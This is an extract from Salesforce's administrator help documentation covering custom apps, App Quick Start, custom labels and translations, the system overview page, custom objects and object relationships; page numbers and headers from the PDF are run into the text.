The platform includes innovative point-and-click app builder tools that give you the power to customize Salesforce to meet the needs of your business. You can also build your own applications to share and store information that is important to you. These tools do not require any programming knowledge. Click Your Name > Setup > Create to access the following options. Apps Build your own applications by defining groups of standard and custom tabs. Custom Labels Create custom text values that can be used in multilingual apps. Interaction Log Layouts Create notes that appear on records when using the Service Cloud console. Available in Enterprise, Unlimited, and Developer Editions only. Objects Create custom data and custom related lists to store and display information unique to your organization. Packages Create collections of items such as apps, objects, workflow rules, or email templates, and upload them on Force.com AppExchange to be shared with others. Report Types Available in Professional, Enterprise, Unlimited, and Developer Editions only. Create custom report types so that your users have more power and flexibility while building custom reports. Tabs Create tabs to display and edit the data in your custom objects or embed web content and applications within the user interface. Workflow and Approvals Available in Enterprise, Unlimited, and Developer Editions only. Create automated business processes that send email alerts, assign tasks, update fields, and set outbound messages to external services.

1803

Create

Force.com Home Page Overview

The platform also includes app builder tools that require some programming knowledge. Tools that require advanced programming knowledge are located at Your Name > Setup > Develop.

See Also:
App Setup Overview

Force.com Home Page Overview


The Force.com Home page contains options for building and managing applications. Available in: All Editions except Database.com

User Permissions Needed To access the Force.com Home page: Customize Application

To access the Force.com Home page, click Your Name > Setup. To return to this page from other setup pages, click Force.com Home in the Setup menu. In the left pane, use the Setup menu to access all setup actions. The Setup menu includes tools for browsing and searching setup options. The Getting Started box contains a tool for generating a basic app in a single step, and links to information about extending and managing apps. This box doesn't appear if you've previously dismissed it. Recent Items ListBeta Note: This release contains a beta version of the Recent Items list that is production-quality but has known limitations. The Recent Items box displays the following recent metadata items youve viewed, edited, or created, and their related objects. Apex classes Apex triggers Apps Fields Objects Page layouts Permission sets Profiles Static resources Tabs Users Validation rules

1804

Create

What is an App?

Visualforce pages Visualforce components Note: The Recent Items list on the Force.com Home page is independent of the Recent Items section in the sidebar column of most Salesforce pages. The Recent Items list on the Force.com Home page displays items used by administrators, while the Recent Items section in the sidebar column displays records that end users have worked with. The System Overview messages box displays messages to remind you when your organization reaches its usage limits. The System Overview messages box is not enabled by default. See Configuring Force.com System Overview Messages to enable system overview messages on the Force.com Home page. The Quick Links box provides links for managing tools, users, apps, security and data. The Community box showcases available resources. This box doesn't appear if you've previously dismissed it. It reappears with each new release; click Dismiss to hide it again. The right pane includes external links that are useful for developers and administrators.

What is an App?
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view apps: To manage apps: View Setup and Configuration Customize Application

An app is a group of tabs that works as a unit to provide application functionality. Salesforce provides standard apps such as Sales and Call Center. You can customize the standard apps to match the way you work. You can also build your own on-demand apps by grouping standard and custom tabs into new custom apps. A custom app consists of a label, a description, and an ordered list of tabs. You can also set custom logos for your custom apps. With custom apps, you can extend the kinds of information that you manage and share online beyond CRM. Custom apps are part of the Force.com platform that allows you to create and share custom applications with other Salesforce users. For information about sharing apps that you have built, see Overview of Packages on page 2028. Your available custom apps are listed in the Force.com app menu, which is a drop-down list that displays at the top of every Salesforce page. When you choose an app from the Force.com app menu, your screen changes to reflect the contents of that app. For example, if you switch from an app that contains the Opportunities tab to another app that does not, the Opportunities tab disappears, and the Opportunity option no longer appears in the Create New drop-down list in the sidebar. In addition, the app might display a different initial or default landing tab when selected. Apps are associated with profiles. Profiles control which tabs you can see or hide, as well as which apps are available to you. You can personalize the tabs in your apps as much as your profile allows. For more information, refer to Customizing Your Display on page 42. Note: Service Cloud console apps are custom apps. See Service Cloud Console Overview on page 3501.

1805

Create

Creating Custom Apps

For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app listed in the Force.com app menu. For details about specifying a unique label for the Platform standard app, see Creating Custom Apps on page 1806.

See Also:
Creating Custom Apps Managing Apps Overview of User Permissions and Access Overview of Packages Managing Packages

Creating Custom Apps


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view apps: To manage apps: View Setup and Configuration Customize Application

Create custom apps to build applications for your users. See Salesforce Editions and Limits on page 2182 for the total number of custom apps you can define. Note: If you're new to Force.com apps, we recommend using Force.com quick start to create an app. With this tool, you can generate a basic working app in just one step. To create custom apps: 1. Click Your Name > Setup > Create > Apps. 2. Click New. 3. If the Service Cloud console is available, select whether you want to define a custom app or a Service Cloud console. To continue defining a Service Cloud console app, see Creating a Service Cloud Console App on page 1577. 4. Specify a label for the app. The label can have a maximum of 40 characters, including spaces. This label is the app's name in the Force.com app menu. 5. Optionally, enter a description of the app. 6. Click Next. 7. Optionally, specify a custom logo for the app. Click Insert an image to choose an image file from the document library. Consider these requirements when choosing a custom app logo from the document library: The image must be in GIF or JPEG format and less than 20 KB in size. If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit.

1806

Create

Creating Apps with App Quick Start

For the best on-screen display, we recommend you use an image with a transparent background. The Externally Available checkbox must be selected on the document's properties so that users can view the image.

8. Click Next. 9. Click the left and right arrow buttons to add or remove tabs from the app. 10. Click the up and down arrow buttons to define the order in which the tabs will display in the app. 11. Optionally, set the default landing tab for your new app using the Default Landing Tab drop-down menu below the list of selected tabs. This determines the first tab a user sees when logging into this app. 12. For Professional Edition users, click Save to finish the wizard. For Enterprise or Developer Edition users, click Next. 13. Check the Visible box to choose the user profiles for which the app will be available. 14. Check the Default box to set the app as that profiles default app. This means that new users who have the profile will see this app when they log in for the first time. Profiles with limits are excluded from this list. 15. Click Save to finish the wizard.

See Also:
Managing Apps What is an App? Removing Apps

Creating Apps with App Quick Start


App quick start is a fast way to create a basic working app in just one step. Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create apps: Customize Application and Manage Users

1. Click Your Name > Setup > Create > Apps, and click Quick Start. Alternatively, from the Force.com Home page, click Add App under Getting Started, or App Quick Start under Quick Links. 2. Enter the information needed for your app.
Field Name Description The app's name that appears in the Force.com app menu. The label can have a maximum of 40 characters, including spaces. The plural name of the object. This name appears on the tab. A name used to refer to the object in any user interface pages. If it's appropriate for your organizations default language, specify the gender of the label. This field appears if the organization-wide default language expects gender.

App Label Plural Label Singular Label Gender

Starts with a vowel sound If it's appropriate for your organizations default language, enable this option if your label should be preceded by an instead of a.

1807

Create

Creating Apps with App Quick Start

3. Click Create. 4. On the Youre All Set! page, click here to add new fields to your app. 5. To see your app as it will appear to users, click Go To My App. The app quick start: Generates an app label and API name (a unique name that's used to refer to the object when using the Force.com API). Generates an object label and API name. Generates a tab label, and associates the tab with the object. Enables feed tracking for the object. Feed tracking lets people follow records of that object type and see Chatter feed updates. Enables access to the app and tab in your user profile. Any users who have the Modify All Data permission can also access the object. Generates a permission set that grants access to the new custom object. Assigns the permission set to the user who creates the app.

Once you've created an app, you can extend it with more components, specify access settings, and add users to your organization.

See Also:
App Quick Start: Next Steps for Building and Managing Apps Managing Custom Objects Managing Custom Tabs Managing Apps Customizing Chatter Feed Tracking Removing Apps

App Quick Start: Next Steps for Building and Managing Apps
Once you've created a basic working app with app quick start, you'll want to build out the app with more objects and fields, define its access settings, and add users to share your app with them. Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create objects, tabs, fields, and validation rules: To create users and profiles: Customize Application Manage Users

1. Build out your app with the basic components used in apps. Create objects, which are custom database tables that allow you to store information specific to your app. Create tabs that are associated with the objects you've created. For each object, create fields to store the information that's important to your organization. Create validation rules, which verify that the data users enter meets the standards you specify before they save a record.

1808

Create

Managing Apps

For quick shortcuts to these tools, use the Force.com quick access menu, which is available from object list view pages and record detail pages. 2. Create user profiles or permission sets. These are collections of settings and permissions that determine what users can do in an app. 3. Specify the types of access that users will have to the app. a. Make your app visible using profiles or permission sets. b. Make your object tabs visible. c. Set the object permissions for the objects you created. 4. Add users to your organization. When adding users, be sure to assign them the appropriate profiles or permission sets you created so they can access your app. These are the basic steps for building and managing an app. As you explore the Force.com platform, you'll find even more ways to build, manage, and deploy apps.

See Also:
Creating Apps with App Quick Start

Managing Apps
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view apps: To manage apps: View Setup and Configuration Customize Application

You can customize the standard and custom apps in your organization. Click Your Name > Setup > Create > Apps to display a list of your organizations apps. To view details for an app, click the app name. This displays the properties of the app, such as which tabs are part of the app, including any tabs that are not yet deployed. Click on custom tabs in the Included Tabs list to view details. To change the properties of an app, click Edit. To remove a custom app, click Del. Standard apps cannot be deleted. To create an app, do one of the following: If you're new to Force.com apps, click Quick Start. With this option, you generate a basic working app in one simple step. If you've already created the objects, tabs, and fields you need for your app, click New. With this option, you create an app label and logo, add tabs, and assign the app to profiles. To change the order of apps in the Force.com app menu, click Reorder.

1809

Create

Managing Apps

For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app listed in the Force.com app menu.

See Also:
What is an App? Overview of Packages

Using the Force.com Quick Access Menu


The Force.com quick access menu offers handy shortcuts to customization features. Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Force.com quick access menu: Customize Application

When you're working on apps or objects, use this menu to jump to relevant app customization features. It's available from object list view pages and record detail pages. Note: The Force.com quick access menu isn't visible for list views on accounts, contacts and custom objects if drag-and-drop scheduling on list views is enabled. To expand or collapse the menu, click (or press ALT+;). To scroll down the list of the menu, press TAB. To select an option on the menu, press ENTER. To remove the menu from all list views and record pages, click Turn off menu. To restore the menu, click Your Name > Setup > My Personal Information > Personal Information. On the user detail page, click Edit, select Force.com Quick Access Menu, then click Save.

See Also:
What is an App? What is a Custom Object? What is a Custom Tab?

1810

Create

Managing Apps

Editing App Properties


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view apps: To manage apps: View Setup and Configuration Customize Application

You can change the properties of the standard and custom apps in your organization. For example, you can specify a custom logo for a custom app, or you can specify which tabs are available in a standard or custom app. Note that you cannot change the label, description, or logo for a standard app. To edit the properties of an app: 1. Click Your Name > Setup > Create > Apps. 2. Click Edit next to the app you want to modify. 3. Specify a label for the app. The label can have a maximum of 40 characters, including spaces. This label is the app's name in the Force.com app menu. 4. Optionally, enter a description of the app. 5. Optionally, specify a custom logo for the app. Click Insert an image to choose an image file from the document library. Consider these requirements when choosing a custom app logo from the document library: The image must be in GIF or JPEG format and less than 20 KB in size. If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit. For the best on-screen display, we recommend you use an image with a transparent background. The Externally Available checkbox must be selected on the document's properties so that users can view the image.

6. Click the left and right arrow buttons to add or remove tabs from the app. 7. Click the up and down arrow buttons to define the order in which the tabs will display in the app. 8. Optionally, set the default landing tab for your new app using the Default Landing Tab drop-down menu below the list of selected tabs. This determines the first tab a user sees when logging into this app. 9. Optionally, select the Overwrite users' personal custom app customizations checkbox to override any app personalizations users may have made. 10. Check the Visible box to choose the user profiles for which the app will be available. 11. Check the Default box to set the app as that profiles default app. This means that new users who have the profile will see this app when they log in for the first time. Profiles with limits are excluded from this list. 12. Click Save.

See Also:
What is an App? Managing Apps

1811

Create

Managing Apps

Reordering the Force.com App Menu


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view apps: To manage apps: View Setup and Configuration Customize Application

You can change the order in which apps appear in the Force.com app menu. The Force.com app menu is a drop-down list that displays at the top of every application page. 1. 2. 3. 4. Click Your Name > Setup > Create > Apps. Click Reorder. Click the arrows as desired to change the app order. Click Save. The changes will take effect immediately.

See Also:
What is an App? Creating Custom Apps Managing Apps

Removing Apps
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete apps and objects: Customize Application

You can remove custom apps, but not standard apps. Removing an app removes it from the Force.com apps menu, but doesn't remove any associated objects. If you've created objects for an app, you may want to remove them as well. 1. Click Your Name > Setup > Create > Apps. 2. Click Del next to the app. 3. Optionally, delete any associated objects.

1812

Custom Labels

Custom Labels Overview

CUSTOM LABELS
Custom Labels Overview
Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed Create, edit, or delete custom labels: Create or override a translation: Customize Application Manage Translation OR View Setup and Configuration and be designated as a translator

Custom labels are custom text values that can be accessed from Apex classes or Visualforce pages. The values can be translated into any language Salesforce supports. Custom labels enable developers to create multilingual applications by automatically presenting information (for example, help text or error messages) in a user's native language. You can create up to 5,000 custom labels for your organization, and they can be up to 1,000 characters in length. To access custom labels, click Your Name > Setup > Create > Custom Labels. From this page, you can: Create a new custom label or edit an existing custom label. View an existing custom label. From the view page, you can create or edit a translation in a language used by your organization.

To add a custom label to your application, use the following steps: 1. Create a new custom label. 2. Translate the value of the label into the languages supported by your application. 3. Call the label using either an Apex class or a Visualforce page. Custom labels are called in Apex using System.Label.Label_name. For Visualforce, use the $Label global variable. 4. Include the label in your application when you package it for the AppExchange.

1813

Create

Creating and Editing Custom Labels

Tip: If an Apex class or Visualforce page references a custom label, and that label has translations, you must explicitly package the individual languages desired in order for those translations to be included in the package.

See Also:
Creating and Editing Custom Labels Viewing Custom Labels Creating and Editing Custom Label Translations Setting Up the Translation Workbench Salesforce Globalization Overview Overriding Labels

Creating and Editing Custom Labels


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed Create, edit, or delete custom labels: Create or override a translation: Customize Application Manage Translation OR View Setup and Configuration and be designated as a translator

To create or edit a new custom label: 1. From Your Name > Setup > Create > Custom Labels, click New Custom Label to create a new label, or click Edit next to the custom label you want to edit. 2. In the Short Description text box, enter an easily recognizable term to identify this custom label. This description is used in merge fields. Note: You cannot change the language of an existing custom label.

3. If you are creating a new custom label, in the Name text box, enter the name the label uses. This value is used in Apex and Visualforce pages to reference the custom label. Names must contain only alphanumeric characters, start with a letter, contain no spaces or double underscores, and be unique from all other labels in your organization. 4. Check the Protected Component check box to mark the custom label as protected. For more information, see the Force.com Quick Reference for Developing Packages. 5. In the Categories text box, enter text to categorize the label. This field can be used in filter criteria when creating custom label list views. Separate each category with a comma. The total number of characters allowed in the Categories text box is 255.

1814

Create

Viewing Custom Labels

6. In the Value text box, enter text up to 1,000 characters. This value can be translated into any language Salesforce supports. Note: It may take a few minutes before all users see any changes you make to this field.

7. Click Save.

See Also:
Custom Labels Overview Viewing Custom Labels Creating and Editing Custom Label Translations Overriding Labels

Viewing Custom Labels


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed Create, edit, or delete custom labels: Create or override a translation: Customize Application Manage Translation OR View Setup and Configuration and be designated as a translator

After creating a custom label, you can: Edit the custom label. Note: You cannot edit the attributes of custom labels installed as part of a managed package. You can only override the existing translations or provide new translations for languages not included in the package. Delete a custom label. Note: You cannot delete custom labels installed as part of a managed package, or that are referenced by Apex or a Visualforce page. You can only override the existing translations.

1815

Create

Creating and Editing Custom Label Translations

Create or edit a translation.

See Also:
Custom Labels Overview Creating and Editing Custom Labels Creating and Editing Custom Label Translations Setting Up the Translation Workbench

Creating and Editing Custom Label Translations


Available in: Developer, Professional, Enterprise, and Unlimited Editions

User Permissions Needed Create, edit, or delete custom labels: Create or override a translation: Customize Application Manage Translation OR View Setup and Configuration and be designated as a translator

To create or edit custom labels: 1. Go to Your Name > Setup > Create > Custom Labels. 2. Select the custom label name to open the label. 3. In the Translations related list, click New to enter a new translation or Edit next to the language to change a translation. If you click Delete, Salesforce confirms you want to delete, then removes the translation form the custom label. 4. Select the Language you are translating into. 5. Enter the Translation Text. This text overrides the value specified in the label's Value field when a user's default language is the translation language. 6. Click Save.

See Also:
Custom Labels Overview Creating and Editing Custom Labels Viewing Custom Labels Setting Up the Translation Workbench Overriding Labels

1816

Create

Overriding Labels

Overriding Labels
Overriding Labels in Salesforce You can change the display labels of tabs, objects, fields, and other related user interface labels so they better reflect your organization's business requirements. When you rename a label, such as changing the Accounts label to Companies, the new label appears on all user pages, in Connect for Outlook, and in Connect Offline. With rare exception, all pages in the Setup area use the default, original labels. See Renaming Tab and Field Labels on page 1072.

Overriding Labels in Managed Packages


You can override the following types of labels in managed packages. Labels of custom tabs, objects, fields, and other related user interface labels. See Entering Overrides to Translations in Managed Packages on page 497. Custom labels. Custom labels are custom text values that can be accessed from Apex classes or Visualforce pages. See Creating and Editing Custom Label Translations on page 1816.

See Also:
Custom Labels Overview Creating and Editing Custom Labels Creating and Editing Custom Label Translations Viewing Custom Labels

What is a Custom Object?


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom objects are custom database tables that allow you to store information unique to your organization. For example, your organization may want to create a custom object called Quotes to store data for your companys sales quotes. For the total number of custom objects you can create, see Salesforce Editions and Limits on page 2182. After you define a custom object, you can: Create custom fields. For the total number of custom fields you can create, see Salesforce Editions and Limits on page 2182. Associate the custom object with other records and display the custom object data in custom related lists. For more information, see Overview of Relationships on page 1827. Track tasks and events for custom object records Build page layouts Customize the search results and the custom object fields that display in them

1817

Create

About the System Overview Page

Create a custom tab for the custom object Create reports and dashboards to analyze custom object data Share your custom objects, custom tabs, custom apps, and any other related components with other Salesforce users on Force.com AppExchange. See Overview of Packages on page 2028. Import custom object records Set up a queue to distribute ownership of custom object records

See Also:
Defining Object-Level Help Tip sheet: Building Custom Objects, Tabs, and Related Lists What is an App?

About the System Overview Page


Available in: All Editions except Personal Edition

User Permissions Needed To access the system overview page: Customize Application

Note: The system overview page shows only the items enabled for your organization. For example, your system overview page shows workflow rules only if workflow is enabled for your organization. The system overview page shows usage data and limits for your organization, and displays messages when you reach 95% of your limit (75% of portal roles). Click the numbers under each metric to get more details about your usage. If its available, use Checkout to increase usage limits for your organization. For example, if your organization reaches the limit for custom objects, the system overview page notifies you with a message link. Click the link to clean up any unused objects, or visit Checkout to increase your limit for objects. You can also add system overview messages to the Force.com Home page to remind you when your organization reaches its usage limits. For more information, see Configuring Force.com System Overview Messages on page 1821. To access the system overview page, click Your Name > Setup > System Overview. The system overview page displays usage for: Schema API usage Business logic User interface Most used licenses Portal roles

1818

Create

About the System Overview Page

Note: The object limit percentages displayed for items used are truncated, not rounded. For example, if your organization uses 95.55% of the limit for a particular item, the percentage displayed is 95%.

See Also:
Salesforce Editions and Limits Configuring Force.com System Overview Messages

System Overview: Schema


Available in: All Editions except Personal Edition

The Schema box in the system overview page shows usage information for: Custom objects Note: If youre approaching your limit for custom objects and need to delete some, you need to hard delete or erase them. Soft-deleted custom objects and their data count against your limits. Data storage.

System Overview: API Usage


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The API Usage box in the system overview page shows usage information for API requests in the last 24 hours. Limits are enforced against the aggregate of all API calls made by the organization in a 24 hour period; limits are not on a per-user basis. When an organization exceeds a limit, all users in the organization may be temporarily blocked from making additional calls. Calls will be blocked until usage for the preceding 24 hours drops below the limit.

See Also:
Force.com API Usage Limits

1819

Create

About the System Overview Page

System Overview: Business Logic


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

The Business Logic box in the system overview page shows usage information for: Rules: See Total Rules Allowed in the Rules Limits on page 2194 for more information. Apex triggers Apex classes Code used: Total number of characters in your Apex triggers and Apex classes (excluding comments, test methods, and @isTest annotated classes).

System Overview: User Interface


Available in: All Editions except Personal Database.com

The User Interface box in the system overview page shows usage information for: Custom apps Site.com sites: We only count published Site.com sites. Active Force.com sites Flows: We only count active flows. Custom tabs Visualforce pages

System Overview: Most Used Licenses


Available in: All Editions except Personal Edition

The Most Used Licenses box in the system overview page counts only active licenses, and by default shows the top three used licenses for your organization. Any license that reaches 95% usage also appears. Click Show All to view all the licenses for your organization.

See Also:
Understanding User License Types

1820

Create

About the System Overview Page

System Overview: Portal Roles


Available in: Enterprise, Unlimited, and Developer Editions

The Portal Roles box in the system overview page shows the usage data and limit for total partner portal and Customer Portal roles. The system overview page displays a message when your organization reaches 75% of its allotted portal roles.

Configuring Force.com System Overview Messages


Available in: All Editions except Personal and Database.com

User Permissions Needed To configure Force.com messages: Customize Application

Note: The system overview page shows only the items enabled for your organization. For example, your system overview page shows workflow rules only if workflow is enabled for your organization. Add system overview usage messages to the Force.com Home page to remind you when your organization approaches its limits. You can expand, collapse, and dismiss the system overview messages that appear on the Force.com Home page. By default, the system overview home page messages are enabled. To configure the system overview messages on the Force.com Home page: 1. 2. 3. 4. Click Your Name > Setup > System Overview. Click Configure Force.com Messages. Select or deselect the types of system overview messages to show or hide on the Force.com Home page. Click OK. Important: System overview messages only appear on the Force.com Home page when your organization approaches its limits. When you enable or dismiss system overview messages on the Force.com Home page, it only impacts your individual view of the system overview messages.

See Also:
About the System Overview Page

1821

Create

Defining Custom Objects

Defining Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions S-Controls, Reports, Activities, Divisions, Search, and Custom Tabs are not available in Database.com

User Permissions Needed To create and edit custom objects: "Customize Application"

Define custom objects to track and store data unique to your organization. For the total number of custom objects you can create, see Salesforce Editions and Limits on page 2182. To create a custom object: 1. Click Your Name > Setup > Create > Objects. 2. Click New Custom Object, or click Edit to modify an existing custom object. 3. Enter the following: Field
Label Plural Label

Description A name used to refer to the object in any user interface pages. The plural name of the object. If you create a tab for this object, this name is used for the tab. If it is appropriate for your organizations default language, specify the gender of the label. This field appears if the organization-wide default language expects gender. Your personal language preference setting does not affect whether the field appears. For example, if the organizations default language is English and your personal language is French, you are not prompted for gender when creating a custom object. If it is appropriate for your organizations default language, check if your label should be preceded by "an" instead of "a." A unique name used to refer to the object when using the API. In managed packages, this unique name prevents naming conflicts on package installations. The Object Name field can contain only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. An optional description of the object. A meaningful description will help you remember the differences between your custom objects when you are viewing them in a list.

Gender

Starts with a vowel sound

Object Name

Description

1822

Create

Defining Custom Objects

Field
Context-Sensitive Help Setting

Description Defines what displays when users click the Help for this Page context sensitive help link from the custom object record home (overview), edit, and detail pages, as well as list views and related lists. Choose Open the standard Salesforce Help & Training window if you want to display the basic Salesforce help available for any custom object record. Choose Open a window using a Visualforce page or Open a window using a custom s-control to display the Visualforce page or s-control you select as the context-sensitive help link from any custom object record page. Note: The Help & Training link at the top of any page is not affected by this setting. It always opens the Salesforce Help & Training window. For more information on creating custom help, see Custom Help Overview on page 1672.

Custom S-Control

The s-control you have defined that contains the help content for this custom object. The name used in page layouts, list views, related lists, and search results. The type of field (text or auto-number) for the record name. Records that have unique IDs instead of names use auto-numbers. An auto-number is a unique number assigned automatically. It is always a read-only field. For a Record Name of type auto-number, enter a display format. You can have up to two sets of curly braces. For more details about display format options, see Custom Field Attributes on page 1100. For a Record Name of type auto-number, enter the number to use when creating your first record for this custom object. Makes the data in the custom object records available for reporting purposes. To create reports on custom objects, choose the Other Reports report type category unless the custom object has a relationship with a standard object. When the custom object has a master-detail relationship with a standard object, or is a lookup object on a standard object, select the standard object for the report type category instead.

Record Name

Data Type

Display Format

Starting Number

Allow Reports

Allow Activities

Allows users to associate tasks and scheduled calendar events related to the custom object records. For more information,

1823

Create

Defining Custom Objects

Field

Description see Notes on Enabling Activities for Custom Objects on page 1825.

Enable Divisions

If your organization has divisions enabled, select this option to enable the custom object for divisions. Divisions group records for simplified search results, list views, reports, and other areas within Salesforce. Salesforce adds a Division field to the custom object, and if the custom object is the master in a master-detail relationship, any custom objects on the detail side also get the Division field and inherit their division from the master record. Enables your organization to track changes to fields on the custom object records, such as who changed the value of a field, when it was changed, and what the value of the field was before and after the edit. History data is available for reporting, so users can easily create audit trail reports when this feature is enabled. Indicates whether the custom object is visible to other users. For more information, see Custom Objects Deployment Status on page 1826. Allows users to be able to attach notes and attachments to custom object records. This allows you to attach external documents to any object record, in much the same way that you can add a PDF or photo as an attachment to an email. This option is only available when you are creating a new object.

Track Field History

Deployment Status

Add Notes & Attachments...

Launch the New Custom Tab Wizard

Starts the custom tab wizard after you save the custom object.

4. Click Save.

Notes on Custom Objects


Object Permissions In Enterprise, Unlimited, and Developer Editions, when you create a custom object, the Read, Create, Edit, and Delete permissions for that object are disabled for any profiles in which View All Data or Modify All Data is disabled. You can enable access to custom objects in permission sets or custom profiles, and assign them to the users who need access. For more information, see Overview of User Permissions and Access on page 560. Note: In Contact Manager, Group, and Professional Editions, when you create a custom object, the Read, Create, Edit, and Delete permissions for that object are enabled for all profiles.

Sharing Model The data sharing model for all custom objects is controlled by an organization-wide default setting. For more information, see Custom Object Security on page 1847.

1824

Create

Defining Custom Objects

Delegating Custom Object Administration After you create a custom object, you can delegate the administration of the custom object to other non-administrator users. Queues After you create a custom object, you can define queues to distribute ownership of custom object records to your users. Search Custom object records appear in search results only if they have a custom tab.

See Also:
Workflow and Approvals Overview Overview of Relationships Defining Object-Level Help

Notes on Enabling Activities for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

If you enable activities when creating a custom object, the activity related lists are added to the default page layout automatically. If you enable activities later, after the custom object already exists, you must add the related lists to the page layout manually. Disabling activities for a custom object does not delete existing activity records. However, activity related lists are removed from custom object pages, and reports containing activities and the custom object are deleted. If a custom object has a master-detail relationship with accounts, the custom objects activities roll up to the account and cause the accounts Last Activity date to be updated. For custom objects related to other types of records, the activities do not roll up. The ability to send emails or create mail merge documents is available for activities on custom objects. The email must be sent to a contact or lead. When you change the ownership of a custom object record, any open activities related to that custom object are also transferred to the new record owner. You cannot disable activity tracking for a custom object if any workflow tasks are associated with that custom object, or if tasks and events are child data sets of the custom object in a mobile configuration. Custom object records can only be associated with a call log in Salesforce CRM Call Center if activities are enabled for the object.

See Also:
Defining Custom Objects Creating a Many-to-Many Relationship Defining Data Sets

1825

Create

Managing Custom Objects

Custom Objects Deployment Status


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To deploy custom objects: Customize Application

While developing custom objects, you may not want users to see and interact with a new object. Because users may get frustrated with changes in layout or lose data when you delete custom fields, control visibility of the new object until you are finished. Use the Deployment Status setting in the custom object definition to control when users can see and use a custom object and its associated custom tab, related lists, and reports. Choose In Development as the Deployment Status when first creating your custom object to hide it from users while you are designing and testing it. Making the status In Development hides the custom object tab, search results, related lists, and report data types from all users except those with the Customize Application permission. Change the Deployment Status to Deployed when you want to allow all users to use the custom object and any associated custom tab, related lists, and reports. After deploying a custom object, change the Deployment Status back to In Development if you want to make more enhancements to it. Note: A custom report type's Deployment Status changes from Deployed to In Development if its primary object is a custom object whose Deployment Status similarly changes. For more information, see Creating Custom Report Types on page 3271.

See Also:
Defining Custom Objects

Managing Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Managed Packages are not available in Database.com.

User Permissions Needed To create and edit custom objects: Customize Application

After creating your custom objects, you can customize, edit, delete, or truncate them. Click Your Name > Setup > Create > Objects to display the Custom Objects list page, which shows the list of custom objects defined for your organization. From the Custom Objects list page, you can:

1826

Create

Overview of Relationships

Click New Custom Object to define a custom object. Click the object name to display detailed information about the custom object and customize it further. Optional features you can customize include enabling reports, tracking activities, tracking field history, and making the object available for the Salesforce Customer Portal.

To update the custom object definition, click Edit and update the desired fields. Note: The Allow Reports and Allow Activities fields are not locked in Managed - Released and can be changed by the developer in future releases of a managed package.

To delete a custom object, click Del. Note: You can't delete more than 100,000 combined objects and child records at the same time. To delete an object that has more than 100,000 child records, first delete an appropriate number of its child records.

To truncate a custom object, click Truncate. To view deleted custom objects, click the Deleted Objects link. The total number of deleted custom objects for your organization is listed in parentheses.

The detail page of the custom object provides information about various characteristics of the object, including standard fields, custom fields, field history tracking, relationships, custom links, search layouts, page layouts, and object limits. You can: Click on individual items to display additional detail. Click More at the bottom of the page or View More below a related list to display more items. Click New to directly add new items. Note: The object limit percentages displayed for items used are truncated, not rounded. For example, if your organization uses 95.55% of the limit for a particular item, the percentage displayed is 95%.

See Also:
What is a Custom Object? Overview of Relationships Modifying Custom Objects Import My Organization's Custom Objects Tracking Field History Defining Object-Level Help Tip sheet: Building Custom Objects, Tabs, and Related Lists

Overview of Relationships
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Use relationships to associate an object with other objects in Salesforce. For example, a relationship can link custom object records to standard object records in a related list, such as linking a custom object called Bugs to cases to track product defects

1827

Create

Overview of Relationships

associated with customer cases. You can define different types of relationships by creating custom relationship fields on an object. Before you begin creating relationships, determine the type of relationship that suits your needs. There are different types of relationships between objects in Salesforce. Their differences include how they handle data deletion, sharing, and required fields in page layouts: Master-detail This type of relationship closely links objects together such that the master record controls certain behaviors of the detail and subdetail record. For example, you can define a two-object master-detail relationship, such as AccountExpense Report, that extends the relationship to subdetail records, such as AccountExpense ReportExpense Line Item. You can then perform operations across the masterdetailsubdetail relationship. Behaviors of master-detail relationships include: When a master record is deleted, the related detail and subdetail records are also deleted. By default, records cant be reparented in master-detail relationships. Administrators can, however, allow child records in master-detail relationships on custom objects to be reparented to different parent records by selecting the Allow reparenting option in the master-detail relationship definition. The Owner field on the detail and subdetail records is not available and is automatically set to the owner of the master record. Custom objects on the detail side of a master-detail relationship can't have sharing rules, manual sharing, or queues, as these require the Owner field. The security settings for the master record control the detail and subdetail records. The master-detail relationship field (which is the field linking the objects) is required on the page layout of the detail and subdetail records. The master object can be a standard object, such as Account or Opportunity, or a custom object. As a best practice, don't exceed 10,000 child records for a master-detail relationship.

